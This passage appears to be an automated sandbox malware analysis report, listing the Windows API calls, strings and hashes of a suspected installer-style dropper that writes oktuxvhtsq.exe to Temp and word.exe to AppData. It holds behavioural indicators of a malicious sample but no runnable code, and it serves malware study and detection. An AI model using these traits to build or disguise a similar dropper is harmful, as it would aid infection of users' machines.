GetDlgItem.USER32(?,000003EC), ref: 00405132
SendMessageA.USER32 ref: 00405142
SendMessageA.USER32 ref: 0040515B
SendMessageA.USER32 ref: 00405167
GetDlgItem.USER32(?,000003F8), ref: 0040503F

Part of subcall function 00403E89: SendMessageA.USER32 ref: 00403E97

GetDlgItem.USER32(?,000003EC), ref: 00405184
CreateThread.KERNEL32(00000000,00000000,Function_00004F56,00000000), ref: 00405192
CloseHandle.KERNEL32(00000000), ref: 00405199
ShowWindow.USER32(00000000), ref: 004051BD
ShowWindow.USER32(00000000,00000008), ref: 004051C2
ShowWindow.USER32(00000008), ref: 00405209
SendMessageA.USER32 ref: 0040523B
CreatePopupMenu.USER32 ref: 0040524C
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405261
GetWindowRect.USER32(00000000,?), ref: 00405274
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405298
SendMessageA.USER32 ref: 004052D3
OpenClipboard.USER32(00000000), ref: 004052E3
EmptyClipboard.USER32 ref: 004052E9
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F2
GlobalLock.KERNEL32 ref: 004052FC
SendMessageA.USER32 ref: 00405310
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405328
SetClipboardData.USER32 ref: 00405333
CloseClipboard.USER32 ref: 00405339

Strings

{, xrefs: 00405228

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction ID: 6929f331228a41c4e1f6bf5049925f100d3ed94cd800429e98060a15954be78d
Opcode Fuzzy Hash: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction Fuzzy Hash: 6DA13AB1900208BFDB119F60DD89AAE7F79FB44355F00813AFA05BA1A0C7795E41DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004047EA
GetDlgItem.USER32(?,00000408), ref: 004047F7
GlobalAlloc.KERNEL32(00000040,00000001), ref: 00404843
LoadBitmapA.USER32 ref: 00404856
SetWindowLongA.USER32(?,000000FC,00404DD4), ref: 00404870
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404884
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404898
SendMessageA.USER32 ref: 004048AD
SendMessageA.USER32 ref: 004048B9
SendMessageA.USER32 ref: 004048CB
DeleteObject.GDI32(?), ref: 004048D0
SendMessageA.USER32 ref: 004048FB
SendMessageA.USER32 ref: 00404907
SendMessageA.USER32 ref: 0040499C
SendMessageA.USER32 ref: 004049C7
SendMessageA.USER32 ref: 004049DB
GetWindowLongA.USER32(?,000000F0), ref: 00404A0A
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A18
ShowWindow.USER32(?,00000005), ref: 00404A29
SendMessageA.USER32 ref: 00404B2C
SendMessageA.USER32 ref: 00404B91
SendMessageA.USER32 ref: 00404BA6
SendMessageA.USER32 ref: 00404BCA
SendMessageA.USER32 ref: 00404BF0
ImageList_Destroy.COMCTL32(?), ref: 00404C05
GlobalFree.KERNEL32(?), ref: 00404C15
SendMessageA.USER32 ref: 00404C85
SendMessageA.USER32 ref: 00404D2E
SendMessageA.USER32 ref: 00404D3D
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D5D
ShowWindow.USER32(?,00000000), ref: 00404DAB
GetDlgItem.USER32(?,000003FE), ref: 00404DB6
ShowWindow.USER32(00000000), ref: 00404DBD

Strings

N, xrefs: 00404A67
M, xrefs: 00404983
, xrefs: 00404D95

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction ID: 9a6d62add78faf2b4aa272e1cf177665df16ecedb9a61d3aa4425c18576eb247
Opcode Fuzzy Hash: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction Fuzzy Hash: 8B029DB0E00209AFDB24DF55DD45AAE7BB5EB84315F10817AF610BA2E1C7789A81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404292 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 273stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004042E1
SetWindowTextA.USER32(00000000,?), ref: 0040430B
SHBrowseForFolderA.SHELL32(?,0041F908,?), ref: 004043BC
CoTaskMemFree.OLE32(00000000), ref: 004043C7
lstrcmpiA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00420538,00000000,?,?), ref: 004043F9
lstrcatA.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ), ref: 00404405
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404417

Part of subcall function 0040543D: GetDlgItemTextA.USER32 ref: 00405450

Part of subcall function 00405DFA: CharNextA.USER32(?), ref: 00405E52
Part of subcall function 00405DFA: CharNextA.USER32(?), ref: 00405E5F
Part of subcall function 00405DFA: CharNextA.USER32(?), ref: 00405E64
Part of subcall function 00405DFA: CharPrevA.USER32(?,?), ref: 00405E74

GetDiskFreeSpaceA.KERNEL32(0041F500,?,?,0000040F,?,0041F500,0041F500,?,00000001,0041F500,?,?,000003FB,?), ref: 004044D5
MulDiv.KERNEL32 ref: 004044F0

Part of subcall function 00404649: lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
Part of subcall function 00404649: wsprintfA.USER32 ref: 004046EF
Part of subcall function 00404649: SetDlgItemTextA.USER32(?,00420538), ref: 00404702

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004043E2
A, xrefs: 004043B5
"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" , xrefs: 004043F3, 004043F8, 00404403

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" $A$C:\Users\user\AppData\Local\Temp
API String ID: 2624150263-1141227420
Opcode ID: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction ID: cfccd4b73e861dd9bc9b7885d3f414f2f86db1ffcc16c92a650f1104495a78a5
Opcode Fuzzy Hash: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction Fuzzy Hash: EAA17EB1D00218BBDB11AFA5CD41AAFB6B8EF84315F10813BF605B62D1D77C9A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 00402053 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004073F8,?,00000001,004073E8,?), ref: 004020A6
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409408,00000400,?,00000001,004073E8,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402160

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020DE

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-2935972921
Opcode ID: 089d45c0d23cda86f3d168a15e68d27aa0b28459bfa4feaba1da871340bdcdc6
Instruction ID: c7e9304a010c998f9a7959bd005017a1970e80d3ce8bb7043a01564e87abbd95
Opcode Fuzzy Hash: 089d45c0d23cda86f3d168a15e68d27aa0b28459bfa4feaba1da871340bdcdc6
Instruction Fuzzy Hash: 32416E75A00205BFCB00DFA8CD88E9E7BB5EF49354F204169F905EB2D1CA799C41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402671 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402680

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: c707d325fcd64eef76be24f413fce74fcf29a9d2c757c0b7f3e21b108dde0476
Instruction ID: c4b8fb32876d586bcf7df686e34757fa561d471cbaf363f6388d0c393702730c
Opcode Fuzzy Hash: c707d325fcd64eef76be24f413fce74fcf29a9d2c757c0b7f3e21b108dde0476
Instruction Fuzzy Hash: 81F0A032A041009ED711EBA49A499EEB7789B11318F60067BE101B21C1C6B859459B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9C Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404027
GetDlgItem.USER32(00000000,000003E8), ref: 0040403B
SendMessageA.USER32 ref: 00404059
GetSysColor.USER32 ref: 0040406A
SendMessageA.USER32 ref: 00404079
SendMessageA.USER32 ref: 00404088
lstrlenA.KERNEL32(?), ref: 00404092
SendMessageA.USER32 ref: 004040A0
SendMessageA.USER32 ref: 004040AF
GetDlgItem.USER32(?,0000040A), ref: 00404112
SendMessageA.USER32 ref: 00404115
GetDlgItem.USER32(?,000003E8), ref: 00404140
SendMessageA.USER32 ref: 00404180
LoadCursorA.USER32 ref: 0040418F
SetCursor.USER32(00000000), ref: 00404198
ShellExecuteA.SHELL32(0000070B,open,.B,00000000,00000000,00000001), ref: 004041AB
LoadCursorA.USER32 ref: 004041B8
SetCursor.USER32(00000000), ref: 004041BB
SendMessageA.USER32 ref: 004041E7
SendMessageA.USER32 ref: 004041FB

Strings

N, xrefs: 0040412E
.B, xrefs: 004041A0
open, xrefs: 004041A3

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open$.B
API String ID: 3615053054-720656042
Opcode ID: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction ID: d52f05746bbb3f3b1d606d9c91532631e65720296560e4ea5c31ec00add49965
Opcode Fuzzy Hash: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction Fuzzy Hash: 0161D571A40309BBEB109F60DD45F6A7B69FB54715F108036FB04BA2D1C7B8AA51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,mrodzekle Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
mrodzekle Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$mrodzekle Setup
API String ID: 941294808-3382217523
Opcode ID: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction ID: 81ce27436f0092abe3ce3185f2c65b9207eacd25275343976a1476a18aae1cf1
Opcode Fuzzy Hash: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction Fuzzy Hash: 06418B71804249AFCB058F95DD459AFBBB9FF44315F00802AF961AA2A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058E6 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

CloseHandle.KERNEL32(00000000), ref: 00405933
GetShortPathNameA.KERNEL32 ref: 0040593C
GetShortPathNameA.KERNEL32 ref: 00405959
wsprintfA.USER32 ref: 00405977
GetFileSize.KERNEL32(00000000,00000000,00422140,C0000000,00000004,00422140,?,?,?,00000000,000000F1,?), ref: 004059B2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 004059C1
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004059D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421D40,00000000,-0000000A,004093E4,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405A1D
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00405A2F
GlobalFree.KERNEL32(00000000), ref: 00405A36
CloseHandle.KERNEL32(00000000), ref: 00405A3D

Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Strings

[Rename], xrefs: 004059E7, 004059F9
%s=%s, xrefs: 0040596D
@!B, xrefs: 0040594E

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$@!B$[Rename]
API String ID: 3445103937-2946522640
Opcode ID: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction ID: 3fdb6a032fd62a2424e34f1ba2115feadd67922d203a780a084708b988c1bb31
Opcode Fuzzy Hash: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction Fuzzy Hash: C8410231B01B167BD7206B619D89F6B3A5CEF44755F04013AFD05F62D2E67CA8008EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405BBA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405C62
GetSystemDirectoryA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00000400), ref: 00405CDD
GetWindowsDirectoryA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00000400), ref: 00405CF0
SHGetSpecialFolderLocation.SHELL32(?,0040F0E0), ref: 00405D2C
SHGetPathFromIDListA.SHELL32(0040F0E0,"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ), ref: 00405D3A
CoTaskMemFree.OLE32(0040F0E0), ref: 00405D45
lstrcatA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D67
lstrlenA.KERNEL32("C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" ,00000000,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405DB9

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405CAC
"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" , xrefs: 00405BE3, 00405CAA, 00405CC7, 00405CDC, 00405CEF, 00405D0B, 00405D36, 00405D66, 00405D6C, 00405D84, 00405D97, 00405DB2, 00405DB8, 00405DC3, 00405DED
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D61

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" $Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-216748682
Opcode ID: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction ID: c09fc2b2839bb59ef3d9b0e1161cb0e194e2e056f91f07e7f33828596fbb00b3
Opcode Fuzzy Hash: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction Fuzzy Hash: CE51F331A04A05AAEF215F648C88BBF3B74EF05714F10827BE911B62E0D27C5942DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405DFA Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?), ref: 00405E52
CharNextA.USER32(?), ref: 00405E5F
CharNextA.USER32(?), ref: 00405E64
CharPrevA.USER32(?,?), ref: 00405E74

Strings

*?|<>/":, xrefs: 00405E42
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DFB, 00405E00
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00405E36

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe
API String ID: 589700163-2943609387
Opcode ID: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction ID: 8fb4f4a5a46673644b6d17db89182f96b33943a1441b7055d0135b6347a17e40
Opcode Fuzzy Hash: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction Fuzzy Hash: 0411B971804A9029EB321734DC44B7B7F88CB9A7A0F18447BD9D4722C2D67C5E429BED

Uniqueness

Uniqueness Score: -1.00%

Function 00403EBB Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403ED8
GetSysColor.USER32 ref: 00403EF4
SetTextColor.GDI32(?,00000000), ref: 00403F00
SetBkMode.GDI32(?,?), ref: 00403F0C
GetSysColor.USER32 ref: 00403F1F
SetBkColor.GDI32(?,?), ref: 00403F2F
DeleteObject.GDI32(?), ref: 00403F49
CreateBrushIndirect.GDI32(?), ref: 00403F53

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction ID: 51638b03811fbd3f25a4eb1d810876b9f584da0c3187da66c7daa715c1b02470
Opcode Fuzzy Hash: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction Fuzzy Hash: 08218471904745ABCB219F78DD08B4BBFF8AF05715B048629F856E22E0D734E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004026AF Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00014A00,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402703
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040271F
GlobalFree.KERNEL32(?), ref: 00402758
WriteFile.KERNEL32(?,00000000,?,?), ref: 0040276A
GlobalFree.KERNEL32(00000000), ref: 00402771
CloseHandle.KERNEL32(?), ref: 00402789
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D

